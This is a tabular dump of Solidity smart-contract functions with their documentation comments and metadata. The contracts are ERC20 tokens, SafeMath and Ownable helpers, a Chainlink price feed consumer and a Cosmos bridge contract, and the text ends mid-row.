contract_name stringlengths 1 61 | file_path stringlengths 5 50.4k | contract_address stringlengths 42 42 | language stringclasses 1
value | class_name stringlengths 1 61 | class_code stringlengths 4 330k | class_documentation stringlengths 0 29.1k | class_documentation_type stringclasses 6
values | func_name stringlengths 0 62 | func_code stringlengths 1 303k | func_documentation stringlengths 2 14.9k | func_documentation_type stringclasses 4
values | compiler_version stringlengths 15 42 | license_type stringclasses 14
values | swarm_source stringlengths 0 71 | meta dict | __index_level_0__ int64 0 60.4k |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
Vdex | Vdex.sol | 0x759ae71caf10af4a26d2e418ef2fa374f08df89c | Solidity | Vdex | contract Vdex is StandardToken {
function () {
//if ether is sent to this address, send it back.
throw;
}
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customi... | //name this contract whatever you'd like | LineComment | approveAndCall | function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually ... | /* Approves and then calls the receiving contract */ | Comment | v0.4.9+commit.364da425 | bzzr://1d81b11149fc9654d56ae450013b63db4b240079601baf7cd6bd0e90ac6239b2 | {
"func_code_index": [
1773,
2579
]
} | 18,000 | |
StakingRewards | AggregatorV3Interface.sol | 0x6e222c95dd4f7346582cddc02845138a92af59dc | Solidity | AggregatorV3Interface | interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report... | getRoundData | function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
| // getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values. | LineComment | v0.6.11+commit.5ef660b1 | None | ipfs://2754aea291d6237c536c520f87848e49c4b7e5af63dbacf5d21b34bd668ba11b | {
"func_code_index": [
418,
623
]
} | 18,001 | ||
StakingRewards | ChainlinkETHUSDPriceConsumer.sol | 0x6e222c95dd4f7346582cddc02845138a92af59dc | Solidity | ChainlinkETHUSDPriceConsumer | contract ChainlinkETHUSDPriceConsumer {
uint256 public decimals = 8;
address public owner;
AggregatorV3Interface internal priceFeed;
constructor(address _address) public {
owner = msg.sender;
priceFeed = AggregatorV3Interface(_address);
}
modifier onlyOwner {
require(... | getLatestPrice | function getLatestPrice() public view returns (uint256) {
(,int ethusdprice,,,) = priceFeed.latestRoundData();
return uint256(ethusdprice);
}
| /**
* Returns the latest price
*/ | NatSpecMultiLine | v0.6.11+commit.5ef660b1 | None | ipfs://2754aea291d6237c536c520f87848e49c4b7e5af63dbacf5d21b34bd668ba11b | {
"func_code_index": [
459,
624
]
} | 18,002 | ||
BridgeBank | /private/tmp/sifnode/smart-contracts/contracts/CosmosBridge.sol | 0xeca46baed9fbe8543b5963571aa93762343b7f9f | Solidity | CosmosBridge | contract CosmosBridge is CosmosBridgeStorage, Oracle {
using SafeMath for uint256;
bool private _initialized;
uint256[100] private ___gap;
/*
* @dev: Event declarations
*/
event LogOracleSet(address _oracle);
event LogBridgeBankSet(address _bridgeBank);
event LogNewProphec... | initialize | function initialize(
address _operator,
uint256 _consensusThreshold,
address[] memory _initValidators,
uint256[] memory _initPowers
) public {
require(!_initialized, "Initialized");
COSMOS_NATIVE_ASSET_PREFIX = "e";
operator = _operator;
hasBridgeBank = false;
_initialized = true;
... | /*
* @dev: Constructor
*/ | Comment | v0.5.16+commit.9c3226ce | {
"func_code_index": [
1036,
1552
]
} | 18,003 | ||||
BridgeBank | /private/tmp/sifnode/smart-contracts/contracts/CosmosBridge.sol | 0xeca46baed9fbe8543b5963571aa93762343b7f9f | Solidity | CosmosBridge | contract CosmosBridge is CosmosBridgeStorage, Oracle {
using SafeMath for uint256;
bool private _initialized;
uint256[100] private ___gap;
/*
* @dev: Event declarations
*/
event LogOracleSet(address _oracle);
event LogBridgeBankSet(address _bridgeBank);
event LogNewProphec... | setBridgeBank | function setBridgeBank(address payable _bridgeBank) public onlyOperator {
require(
!hasBridgeBank,
"The Bridge Bank cannot be updated once it has been set"
);
hasBridgeBank = true;
bridgeBank = _bridgeBank;
emit LogBridgeBankSet(bridgeBank);
}
| /*
* @dev: setBridgeBank
*/ | Comment | v0.5.16+commit.9c3226ce | {
"func_code_index": [
1772,
2089
]
} | 18,004 | ||||
BridgeBank | /private/tmp/sifnode/smart-contracts/contracts/CosmosBridge.sol | 0xeca46baed9fbe8543b5963571aa93762343b7f9f | Solidity | CosmosBridge | contract CosmosBridge is CosmosBridgeStorage, Oracle {
using SafeMath for uint256;
bool private _initialized;
uint256[100] private ___gap;
/*
* @dev: Event declarations
*/
event LogOracleSet(address _oracle);
event LogBridgeBankSet(address _bridgeBank);
event LogNewProphec... | newProphecyClaim | function newProphecyClaim(
ClaimType _claimType,
bytes memory _cosmosSender,
uint256 _cosmosSenderSequence,
address payable _ethereumReceiver,
string memory _symbol,
uint256 _amount
) public onlyValidator {
uint256 _prophecyID = uint256(keccak256(abi.encodePacked(_claimType, _cosmosSender, _... | /*
* @dev: newProphecyClaim
* Creates a new burn or lock prophecy claim, adding it to the prophecyClaims mapping.
* Burn claims require that there are enough locked Ethereum assets to complete the prophecy.
* Lock claims have a new token contract deployed or use an existing contract based on symbo... | Comment | v0.5.16+commit.9c3226ce | {
"func_code_index": [
2864,
5872
]
} | 18,005 | ||||
BridgeBank | /private/tmp/sifnode/smart-contracts/contracts/CosmosBridge.sol | 0xeca46baed9fbe8543b5963571aa93762343b7f9f | Solidity | CosmosBridge | contract CosmosBridge is CosmosBridgeStorage, Oracle {
using SafeMath for uint256;
bool private _initialized;
uint256[100] private ___gap;
/*
* @dev: Event declarations
*/
event LogOracleSet(address _oracle);
event LogBridgeBankSet(address _bridgeBank);
event LogNewProphec... | completeProphecyClaim | function completeProphecyClaim(
uint256 _prophecyID,
address tokenAddress,
ClaimType claimType,
address payable ethereumReceiver,
string memory symbol,
uint256 amount
) internal {
if (claimType == ClaimType.Burn) {
unlockTokens(ethereumReceiver, symbol, amount);
} else {
... | /*
* @dev: completeProphecyClaim
* Allows for the completion of ProphecyClaims once processed by the Oracle.
* Burn claims unlock tokens stored by BridgeBank.
* Lock claims mint BridgeTokens on BridgeBank's token whitelist.
*/ | Comment | v0.5.16+commit.9c3226ce | {
"func_code_index": [
6148,
6659
]
} | 18,006 | ||||
BridgeBank | /private/tmp/sifnode/smart-contracts/contracts/CosmosBridge.sol | 0xeca46baed9fbe8543b5963571aa93762343b7f9f | Solidity | CosmosBridge | contract CosmosBridge is CosmosBridgeStorage, Oracle {
using SafeMath for uint256;
bool private _initialized;
uint256[100] private ___gap;
/*
* @dev: Event declarations
*/
event LogOracleSet(address _oracle);
event LogBridgeBankSet(address _bridgeBank);
event LogNewProphec... | issueBridgeTokens | function issueBridgeTokens(
address payable ethereumReceiver,
address tokenAddress,
string memory symbol,
uint256 amount
) internal {
BridgeBank(bridgeBank).mintBridgeTokens(
ethereumReceiver,
tokenAddress,
symbol,
amount
);
}
| /*
* @dev: issueBridgeTokens
* Issues a request for the BridgeBank to mint new BridgeTokens
*/ | Comment | v0.5.16+commit.9c3226ce | {
"func_code_index": [
6781,
7115
]
} | 18,007 | ||||
BridgeBank | /private/tmp/sifnode/smart-contracts/contracts/CosmosBridge.sol | 0xeca46baed9fbe8543b5963571aa93762343b7f9f | Solidity | CosmosBridge | contract CosmosBridge is CosmosBridgeStorage, Oracle {
using SafeMath for uint256;
bool private _initialized;
uint256[100] private ___gap;
/*
* @dev: Event declarations
*/
event LogOracleSet(address _oracle);
event LogBridgeBankSet(address _bridgeBank);
event LogNewProphec... | unlockTokens | function unlockTokens(
address payable ethereumReceiver,
string memory symbol,
uint256 amount
) internal {
BridgeBank(bridgeBank).unlock(
ethereumReceiver,
symbol,
amount
);
}
| /*
* @dev: unlockTokens
* Issues a request for the BridgeBank to unlock funds held on contract
*/ | Comment | v0.5.16+commit.9c3226ce | {
"func_code_index": [
7240,
7503
]
} | 18,008 | ||||
BridgeBank | /private/tmp/sifnode/smart-contracts/contracts/CosmosBridge.sol | 0xeca46baed9fbe8543b5963571aa93762343b7f9f | Solidity | CosmosBridge | contract CosmosBridge is CosmosBridgeStorage, Oracle {
using SafeMath for uint256;
bool private _initialized;
uint256[100] private ___gap;
/*
* @dev: Event declarations
*/
event LogOracleSet(address _oracle);
event LogBridgeBankSet(address _bridgeBank);
event LogNewProphec... | concat | function concat(string memory _prefix, string memory _suffix)
internal
pure
returns (string memory)
{
return string(abi.encodePacked(_prefix, _suffix));
}
| /*
* @dev: Performs low gas-comsuption string concatenation
*
* @param _prefix: start of the string
* @param _suffix: end of the string
*/ | Comment | v0.5.16+commit.9c3226ce | {
"func_code_index": [
7673,
7871
]
} | 18,009 | ||||
Gov | Gov.sol | 0x279128f8614974b2f81dbd2c1ed6d78a0b238c5e | Solidity | Gov | contract Gov is StandardToken {
function () {
//if ether is sent to this address, send it back.
throw;
}
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise t... | Gov | function Gov(
uint256 _initialAmount,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol
) {
balances[msg.sender] = _initialAmount; // 合约发布者的余额是发行数量
totalSupply = _initialAmount; // 发行量
name = _tokenName; ... | //版本号 | LineComment | v0.4.24-nightly.2018.5.16+commit.7f965c86 | bzzr://71b07f65efa502ba59a5760363185c12263c513449eabf928ca26b49561ef587 | {
"func_code_index": [
681,
1207
]
} | 18,010 | |||
FinalSpace | FinalSpace.sol | 0x23503b1dabe9181ce4c8705187280353f788e286 | Solidity | Owned | contract Owned {
address public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = 0x6Ff3CDBa6d55Eacbe04954cDCCf38aa8Aa5ab713;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
... | transferOwnership | function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0x0));
emit OwnershipTransferred(owner,_newOwner);
owner = _newOwner;
}
| // transfer Ownership to other address | LineComment | v0.4.26+commit.4563c3fc | None | bzzr://7f4aa965341c8606708a19a4717ed39745723fe898639f4acef521474d9fade7 | {
"func_code_index": [
360,
562
]
} | 18,011 | ||
InstantPushToken | InstantPushToken.sol | 0x6c9cb0c5495a1fb3485f6814c791c5c3109da292 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming la... | NatSpecMultiLine | add | function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
| /**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://a32067f451f149210fd97393166b299f733afd602e947c56d6dc3bf98330c65a | {
"func_code_index": [
259,
445
]
} | 18,012 |
InstantPushToken | InstantPushToken.sol | 0x6c9cb0c5495a1fb3485f6814c791c5c3109da292 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming la... | NatSpecMultiLine | sub | function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://a32067f451f149210fd97393166b299f733afd602e947c56d6dc3bf98330c65a | {
"func_code_index": [
723,
864
]
} | 18,013 |
InstantPushToken | InstantPushToken.sol | 0x6c9cb0c5495a1fb3485f6814c791c5c3109da292 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming la... | NatSpecMultiLine | sub | function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://a32067f451f149210fd97393166b299f733afd602e947c56d6dc3bf98330c65a | {
"func_code_index": [
1162,
1393
]
} | 18,014 |
InstantPushToken | InstantPushToken.sol | 0x6c9cb0c5495a1fb3485f6814c791c5c3109da292 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming la... | NatSpecMultiLine | mul | function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
... | /**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://a32067f451f149210fd97393166b299f733afd602e947c56d6dc3bf98330c65a | {
"func_code_index": [
1647,
2123
]
} | 18,015 |
InstantPushToken | InstantPushToken.sol | 0x6c9cb0c5495a1fb3485f6814c791c5c3109da292 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming la... | NatSpecMultiLine | div | function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
| /**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to reve... | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://a32067f451f149210fd97393166b299f733afd602e947c56d6dc3bf98330c65a | {
"func_code_index": [
2594,
2731
]
} | 18,016 |
InstantPushToken | InstantPushToken.sol | 0x6c9cb0c5495a1fb3485f6814c791c5c3109da292 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming la... | NatSpecMultiLine | div | function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
| /**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an in... | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://a32067f451f149210fd97393166b299f733afd602e947c56d6dc3bf98330c65a | {
"func_code_index": [
3222,
3539
]
} | 18,017 |
InstantPushToken | InstantPushToken.sol | 0x6c9cb0c5495a1fb3485f6814c791c5c3109da292 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming la... | NatSpecMultiLine | mod | function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consumi... | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://a32067f451f149210fd97393166b299f733afd602e947c56d6dc3bf98330c65a | {
"func_code_index": [
3999,
4134
]
} | 18,018 |
InstantPushToken | InstantPushToken.sol | 0x6c9cb0c5495a1fb3485f6814c791c5c3109da292 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming la... | NatSpecMultiLine | mod | function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcod... | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://a32067f451f149210fd97393166b299f733afd602e947c56d6dc3bf98330c65a | {
"func_code_index": [
4614,
4819
]
} | 18,019 |
InstantPushToken | InstantPushToken.sol | 0x6c9cb0c5495a1fb3485f6814c791c5c3109da292 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**... | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | totalSupply | function totalSupply() external view returns (uint256);
| /**
* @dev Returns the amount of tokens in existence.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://a32067f451f149210fd97393166b299f733afd602e947c56d6dc3bf98330c65a | {
"func_code_index": [
94,
154
]
} | 18,020 |
InstantPushToken | InstantPushToken.sol | 0x6c9cb0c5495a1fb3485f6814c791c5c3109da292 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**... | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | balanceOf | function balanceOf(address account) external view returns (uint256);
| /**
* @dev Returns the amount of tokens owned by `account`.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://a32067f451f149210fd97393166b299f733afd602e947c56d6dc3bf98330c65a | {
"func_code_index": [
237,
310
]
} | 18,021 |
InstantPushToken | InstantPushToken.sol | 0x6c9cb0c5495a1fb3485f6814c791c5c3109da292 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**... | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | transfer | function transfer(address recipient, uint256 amount)
external
returns (bool);
| /**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://a32067f451f149210fd97393166b299f733afd602e947c56d6dc3bf98330c65a | {
"func_code_index": [
534,
634
]
} | 18,022 |
InstantPushToken | InstantPushToken.sol | 0x6c9cb0c5495a1fb3485f6814c791c5c3109da292 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**... | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | allowance | function allowance(address owner, address spender)
external
view
returns (uint256);
| /**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://a32067f451f149210fd97393166b299f733afd602e947c56d6dc3bf98330c65a | {
"func_code_index": [
913,
1028
]
} | 18,023 |
InstantPushToken | InstantPushToken.sol | 0x6c9cb0c5495a1fb3485f6814c791c5c3109da292 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**... | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | approve | function approve(address spender, uint256 amount) external returns (bool);
| /**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
... | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://a32067f451f149210fd97393166b299f733afd602e947c56d6dc3bf98330c65a | {
"func_code_index": [
1692,
1771
]
} | 18,024 |
InstantPushToken | InstantPushToken.sol | 0x6c9cb0c5495a1fb3485f6814c791c5c3109da292 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**... | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | transferFrom | function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
| /**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://a32067f451f149210fd97393166b299f733afd602e947c56d6dc3bf98330c65a | {
"func_code_index": [
2084,
2220
]
} | 18,025 |
InstantPushToken | InstantPushToken.sol | 0x6c9cb0c5495a1fb3485f6814c791c5c3109da292 | Solidity | Ownable | contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
addr... | /**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
... | NatSpecMultiLine | owner | function owner() public view returns (address) {
return _owner;
}
| /**
* @dev Returns the address of the current owner.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://a32067f451f149210fd97393166b299f733afd602e947c56d6dc3bf98330c65a | {
"func_code_index": [
521,
605
]
} | 18,026 |
InstantPushToken | InstantPushToken.sol | 0x6c9cb0c5495a1fb3485f6814c791c5c3109da292 | Solidity | Ownable | contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
addr... | /**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
... | NatSpecMultiLine | renounceOwnership | function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
| /**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://a32067f451f149210fd97393166b299f733afd602e947c56d6dc3bf98330c65a | {
"func_code_index": [
1163,
1316
]
} | 18,027 |
InstantPushToken | InstantPushToken.sol | 0x6c9cb0c5495a1fb3485f6814c791c5c3109da292 | Solidity | Ownable | contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
addr... | /**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
... | NatSpecMultiLine | transferOwnership | function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
| /**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://a32067f451f149210fd97393166b299f733afd602e947c56d6dc3bf98330c65a | {
"func_code_index": [
1466,
1752
]
} | 18,028 |
InstantPushToken | InstantPushToken.sol | 0x6c9cb0c5495a1fb3485f6814c791c5c3109da292 | Solidity | ERC20 | contract ERC20 is Ownable, IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decim... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | name | function name() public view returns (string memory) {
return _name;
}
| /**
* @dev Returns the name of the token.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://a32067f451f149210fd97393166b299f733afd602e947c56d6dc3bf98330c65a | {
"func_code_index": [
867,
955
]
} | 18,029 |
InstantPushToken | InstantPushToken.sol | 0x6c9cb0c5495a1fb3485f6814c791c5c3109da292 | Solidity | ERC20 | contract ERC20 is Ownable, IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decim... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | symbol | function symbol() public view returns (string memory) {
return _symbol;
}
| /**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://a32067f451f149210fd97393166b299f733afd602e947c56d6dc3bf98330c65a | {
"func_code_index": [
1069,
1161
]
} | 18,030 |
InstantPushToken | InstantPushToken.sol | 0x6c9cb0c5495a1fb3485f6814c791c5c3109da292 | Solidity | ERC20 | contract ERC20 is Ownable, IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decim... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
